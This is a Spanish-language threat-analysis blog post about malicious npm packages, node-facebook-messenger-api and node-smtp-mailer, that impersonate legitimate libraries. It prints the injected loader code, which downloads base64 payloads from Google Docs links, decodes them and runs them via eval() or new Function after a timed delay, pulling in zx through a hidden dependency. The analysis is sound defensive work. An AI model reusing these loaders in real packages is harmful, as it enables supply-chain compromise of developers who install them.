El 14 de marzo de 2025, detectamos un paquete malicioso en npm llamado node-facebook-messenger-api. Al principio, parecía ser un malware bastante común, aunque no pudimos determinar cuál era su objetivo final. No le dimos mucha más importancia hasta el 3 de abril de 2025, cuando vimos al mismo actor de amenazas expandir su ataque. Esta es una breve descripción de las técnicas utilizadas por este atacante específico, y algunas observaciones interesantes sobre cómo sus intentos de ofuscación terminan haciéndolos aún más obvios.
TLDR
node-facebook-messenger-api@4.1.0, disfrazado como un envoltorio legítimo de Facebook Messenger.axios y eval() para extraer un payload de un enlace de Google Docs — pero el archivo estaba vacío.zx biblioteca para evitar la detección, incrustando lógica maliciosa que se activa días después de la publicación.node-smtp-mailer@6.10.0, suplantando a nodemailer, con la misma lógica C2 y ofuscación.hipertipos), revelando una clara Patrón de firma vinculando los ataques.Primeros pasos
Todo comenzó el 14 de marzo a las 04:37 UTC, cuando nuestros sistemas nos alertaron sobre un paquete sospechoso. Fue publicado por el usuario victor.ben0825, quien también afirma tener el nombre perusworld. Este es el nombre de usuario del propietario de repositorio legítimo para esta librería.

Aquí está el código que detectó como malicioso en node-facebook-messenger-api@4.1.0:, en el archivo messenger.js, línea 157-177:
const axios = require('axios');
const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
async function downloadFile(url) {
try {
const response = await axios.get(url, {
responseType: 'arraybuffer'
});
const fileBuffer = Buffer.from(response.data);
eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
return fileBuffer;
} catch (error) {
console.error('Download failed:', error.message);
}
}
downloadFile(url);
El atacante ha intentado ocultar este código dentro de un archivo de 769 líneas, que es una clase grande. Aquí han añadido una función y la están llamando directamente. Muy ingenioso, pero también muy obvio. Intentamos obtener la carga útil (payload), pero estaba vacía. Lo marcamos como malware y seguimos adelante.
Unos minutos después, el atacante subió otra versión, la 4.1.1. El único cambio parecía estar en el README.md y package.json archivos, donde cambiaron la versión, la descripción y las instrucciones de instalación. Dado que marcamos al autor como un autor no fiable, los paquetes a partir de ese momento fueron automáticamente señalados como malware.
Intentando pasar desapercibido
Luego, el 20 de marzo de 2025 a las 16:29 UTC, nuestro sistema marcó automáticamente la versión 4.1.2 del paquete. Veamos qué había de nuevo allí. El primer cambio está en node-facebook-messenger-api.js, que contiene:
"use strict";
module.exports = {
messenger: function () {
return require('./messenger');
},
accountlinkHandler: function () {
return require('./account-link-handler');
},
webhookHandler: function () {
return require('./webhook-handler');
}
};
var messengerapi = require('./messenger');El cambio en este archivo es la última línea. No solo está importando el messenger.js archivo cuando se solicita; siempre se hace cuando se importa el módulo. ¡Inteligente! El otro cambio es en ese archivo, messenger.js. Ha eliminado el código añadido visto anteriormente y ha añadido lo siguiente en las líneas 197 a 219:
const timePublish = "2025-03-24 23:59:25";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function setProfile(ft) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ft, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
//console.error('err:', error.message);
}
}
const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
setProfile(gd);
}
Aquí tienes un resumen de lo que hace:
- Utiliza una comprobación basada en el tiempo para determinar si activar el código malicioso. Solo se activaría unos 4 días después.
- En lugar de usar
axios, ahora utiliza Googlezxbiblioteca para obtener la carga útil maliciosa. - Deshabilita el modo detallado, que también es el predeterminado.
- Luego obtiene el código malicioso
- Lo decodifica en base64
- Crea una nueva función utilizando el
Function()constructor, que es efectivamente equivalente a uneval()llamada. - Luego llama a la función, pasando
Requerircomo argumento.
Pero de nuevo, cuando intentamos obtener el archivo, no recibimos una carga útil. Simplemente obtenemos un archivo vacío llamado info.txt. El uso de zx es curioso. Analizamos las dependencias y notamos que el paquete original contenía algunas dependencias:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"merge": "^2.1.1",
"request": "^2.81.0"
}El paquete malicioso contiene lo siguiente:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}Mira eso, han añadido la dependencia hyper-types. Muy interesante, volveremos a esto unas cuantas veces más.
¡Vuelven a atacar!
Luego, el 3 de abril de 2025 a las 06:46, el usuario lanzó un nuevo paquete cristr. Lanzaron elpaquete electrónico node-smtp-mailer@6.10.0. Nuestros sistemas lo marcaron automáticamente por contener código potencialmente malicioso. Lo examinamos y nos emocionamos un poco. El paquete simula ser nodemailer, solo con un nombre diferente.

Nuestro sistema marcó el archivo lib/smtp-pool/index.js. Rápidamente vemos que el atacante ha añadido código al final del archivo legítimo, justo antes del final module.exports. Esto es lo que se añade:
const timePublish = "2025-04-07 15:30:00";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function SMTPConfig(conf) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(conf, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
console.error('err:', error.message);
}
}
const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR';
SMTPConfig(url);
}
¡Conocemos este código! De nuevo, tiene una marca de tiempo para ejecutarse solo 4 días después. Intentamos con entusiasmo obtener la carga útil, pero solo recibimos un archivo vacío llamado principiante.txt. ¡Vaya! Volvemos a revisar las dependencias para ver cómo se están incorporando. zx. Observamos que el legítimo nodemailer el paquete tiene no directo dependencias, solo devDependencies. Pero esto es lo que contiene el paquete malicioso:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}¿Ve alguna similitud entre esto y el primer paquete que detectamos? Es la misma lista de dependencias. El paquete legítimo no tiene dependencias, pero el malicioso sí. El atacante simplemente copió la lista completa de dependencias del primer ataque a este.
Dependencias interesantes
¿Entonces por qué cambiaron de usar axios con zx para la elaboración HTTP ¿peticiones? Definitivamente para evitar la detección. Pero lo interesante es que zx no es una dependencia directa. En su lugar, el atacante ha incluido hyper-types, que es un paquete legítimo del desarrollador lukasbach.

Además del hecho de que el repositorio referenciado ya no existe, hay algo interesante que destacar aquí. Observa cómo hay 2 dependientes¿Adivina quiénes son?

Si el atacante hubiera querido realmente intentar ofuscar su actividad, es bastante poco inteligente depender de un paquete del que son los únicos dependientes.
Palabras finales
Aunque el atacante detrás de estos paquetes npm finalmente no logró entregar una carga útil funcional, su campaña destaca la evolución continua de las amenazas a la cadena de suministro dirigidas al ecosistema JavaScript. El uso de ejecución retrasada, importaciones indirectas y secuestro de dependencias muestra una creciente conciencia de los mecanismos de detección —y una voluntad de experimentar. Pero también muestra cómo una seguridad operativa descuidada y patrones repetidos aún pueden delatarlos. Como defensores, es un recordatorio de que incluso los ataques fallidos son inteligencia valiosa. Cada artefacto, truco de ofuscación y dependencia reutilizada nos ayuda a construir mejores capacidades de detección y atribución. Y lo más importante, refuerza por qué la monitorización continua y el marcado automático de los registros de paquetes públicos ya no son opcionales, sino críticos.
Protege tu software ahora.



.avif)
